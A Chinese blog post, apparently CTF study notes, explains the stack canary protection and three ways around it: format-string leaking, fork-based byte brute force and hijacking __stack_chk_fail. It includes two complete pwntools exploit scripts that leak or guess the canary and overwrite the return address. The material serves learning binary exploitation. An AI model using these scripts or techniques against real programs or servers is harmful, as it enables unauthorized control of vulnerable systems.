canary(金丝雀保护)

canary(金丝雀保护)

一. 介绍

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

问题:

  1. 如何判断是否开启了canary保护?(直接使用checksec即可分析)
  2. canary到底在哪里?(调用函数_stack_chk_fail时传递的参数)
  3. canary当中的数据如何获得?(在本地当中应该时可以直接读取的,但是在服务器和本地分配的不同,故不能直接读取,只能通过打印泄露得到)

二. 绕过机制

1. 格式化字符串绕过

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要先泄露 Canary,之后再次溢出控制执行流程。前提是存在格式化字符串漏洞,利用该漏洞泄露Canary.

参考payload:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和1
if local:
    p = process('./bin')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')

payload = '%7$x' #这里就是为了泄露Canary发出的payload
p.sendline(payload)
canary = int(p.recv(),16)
print canary 
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()

2. Canary爆破

利用fork进程特征,canary的不变性(在同一进程当中使用fork函数创建的子进程的Canary是相同的),通过循环爆破canary的每一位,适用于存在fork函数的情况。

由于Canary的最低位字节是0x00,故32位的程序需要爆破3位0-255,64位程序需要爆破7位0-255。

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和1
if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'

for i in range(3):
    for i in range(256):
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\n")
        if "recv" in a:
            canary += chr(i)
            break
#没有问题,密码本身就是存在的,所以我们要做的就是依次进行猜测,时间复杂度为255*3.

getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()

3. 劫持_stack_chk_fail

可以通过修改got表当中的_stack_chk_fail符号对应的地址为我们的目地地址,故意触发保护机制来实现劫持功能。

三. 参考文章

  1. canary的各种姿势----pwn题解版 - 先知社区 (aliyun.com)
  2. canary介绍与绕过技巧_绕过nx aslr canary-CSDN博客
  3. Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)
posted @ 2024-03-22 09:05  ONE_ZJ  阅读(93)  评论(0编辑  收藏  举报